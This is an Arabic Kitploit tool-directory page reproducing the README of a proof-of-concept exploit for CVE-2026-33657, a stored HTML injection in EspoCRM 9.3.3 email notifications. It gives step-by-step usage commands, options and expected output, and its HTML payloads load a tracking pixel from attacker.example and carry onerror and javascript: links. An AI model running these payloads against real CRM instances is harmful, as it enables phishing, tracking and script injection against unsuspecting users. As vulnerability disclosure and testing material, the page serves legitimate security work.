Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33657 — # EspoCRM 9.3.3 - حقن HTML مخزّن في إشعارات البريد الإلكتروني | Kitploit
أدوات/GitHubGitHub/entrovyx/cve-2026-33657
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

# EspoCRM 9.3.3 - حقن HTML مخزّن في إشعارات البريد الإلكتروني

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33657 - حقن HTML مخزّن في إشعارات البريد الإلكتروني في EspoCRM 9.3.3

إثبات مفهوم موثّق لحقن HTML مخزّن في إشعارات البريد الإلكتروني في EspoCRM 9.3.3.

الملخص

يقوم EspoCRM 9.3.3 بعرض رسائل البريد الإلكتروني الخاصة بإشعارات تدفق النشاط (stream-note) عن طريق تحويل نص الملاحظة باستخدام Markdown وإدراج HTML الناتج في قوالب البريد الإلكتروني باستخدام الأقواس الثلاثية ({{{post}}}). يمكن للمستخدم الموثّق الذي يمكنه إنشاء منشور في التدفق وتشغيل إشعار تخزين HTML يتحكم فيه المهاجم والذي يتم عرضه لاحقًا في نص البريد الإلكتروني المُنشأ.

يقوم الاستغلال بتنفيذ الجزء البعيد الذي يتحكم فيه المهاجم من العملية:

  1. المصادقة على EspoCRM.
  2. بصمة الإصدار اختياريًا عبر /api/v1/App/user.
  3. إنشاء Note خبيثة تحتوي على HTML.
  4. استخدام --mention أو --target-user-id لوضع هدف الإشعار في قائمة الانتظار.
  5. تأكيد تخزين الحمولة ووجود هدف الإشعار في استجابة API.

يحدث تسليم البريد الإلكتروني عندما تقوم وظيفة SendEmailNotifications العادية في EspoCRM أو cron بمعالجة الإشعار في قائمة الانتظار.

الإصدار المتأثر

  • المتأثر: EspoCRM 9.3.3
  • المُصلَح: EspoCRM 9.3.4
  • الاستشارة: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE: CVE-2026-33657
  • CWE: CWE-80

المتطلبات

  • Python 3
  • requests
  • بيانات اعتماد صالحة لـ EspoCRM
  • القدرة على إنشاء سجلات Note في التدفق
  • هدف إشعار:
    • --mention <username> لإشعارات البريد الإلكتروني بالذكر، أو
    • --target-user-id <id> لإشعارات منشورات التدفق المستهدفة

تثبيت التبعية:

root@kitploit:~
python3 -m pip install requests

الاستخدام

المسار المفضل القائم على الذكر:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

استخدام عنوان تتبع مخصص:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

استخدام حمولة HTML مخصصة بالكامل:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

استهداف معرف مستخدم محدد بدلاً من الذكر:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

بصمة الإصدار فقط، دون إنشاء ملاحظة:

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

الخيارات

root@kitploit:~
-u, --url                 عنوان EspoCRM الأساسي
-U, --username            اسم مستخدم EspoCRM
-P, --password            كلمة مرور EspoCRM
--mention                 اسم المستخدم للذكر، بدون @
--target-user-id          معرف المستخدم لإشعارات منشورات التدفق المستهدفة
--target-user-name        الاسم المعروض لـ --target-user-id
--payload                 حمولة HTML الخام لتخزينها في الملاحظة
--tracking-url            عنوان بكسل التتبع المستخدم في الحمولة الافتراضية
--link-url                عنوان الرابط المستخدم في الحمولة الافتراضية
--marker                  نص العلامة المُضاف قبل الحمولة
--detect-only             بصمة الإصدار فقط؛ لا تنشئ ملاحظة
--skip-version-check      تخطي /api/v1/App/user قبل الاستغلال
--force                   المتابعة حتى لو لم تكن بصمة الإصدار 9.3.3
--insecure                تعطيل التحقق من شهادة TLS

المخرجات المتوقعة

يقوم التشغيل الناجح بإنشاء ملاحظة خبيثة وتأكيد هدف الإشعار:

root@kitploit:~
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.

على مثيل متأثر، يحافظ نص البريد الإلكتروني HTML المُنشأ على HTML المحقون. تبدو لقطة مختبرية كما يلي:

root@kitploit:~
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

التحقق المختبري

في مختبر EspoCRM محلي، بعد تشغيل الاستغلال، قم بتشغيل وظيفة الإشعار:

root@kitploit:~
sudo -u www-data php command.php run-job SendEmailNotifications

يجب أن يحتوي نص البريد الإلكتروني الناتج على HTML المحقون في جزء text/html.

ملاحظات

  • لا يحتاج الاستغلال إلى وصول شل إلى الهدف؛ وصول الشل مفيد فقط للتحقق المختبري المحلي من وظيفة البريد الإلكتروني في قائمة الانتظار.
  • إذا أبلغت API عن @@version، فمن المحتمل أن يكون الهدف بناءً من شجرة المصدر. يستمر السكربت لأن الكود الأساسي قد لا يزال هو علامة 9.3.3 المتأثرة.
  • إذا لم ينتج --mention ذكرًا محللًا، تحقق من messagePermission و mentionPermission للمهاجم، وتأكد من أن اسم المستخدم الهدف موجود ويمكنه استلام الإشعارات.
تنزيل الأداة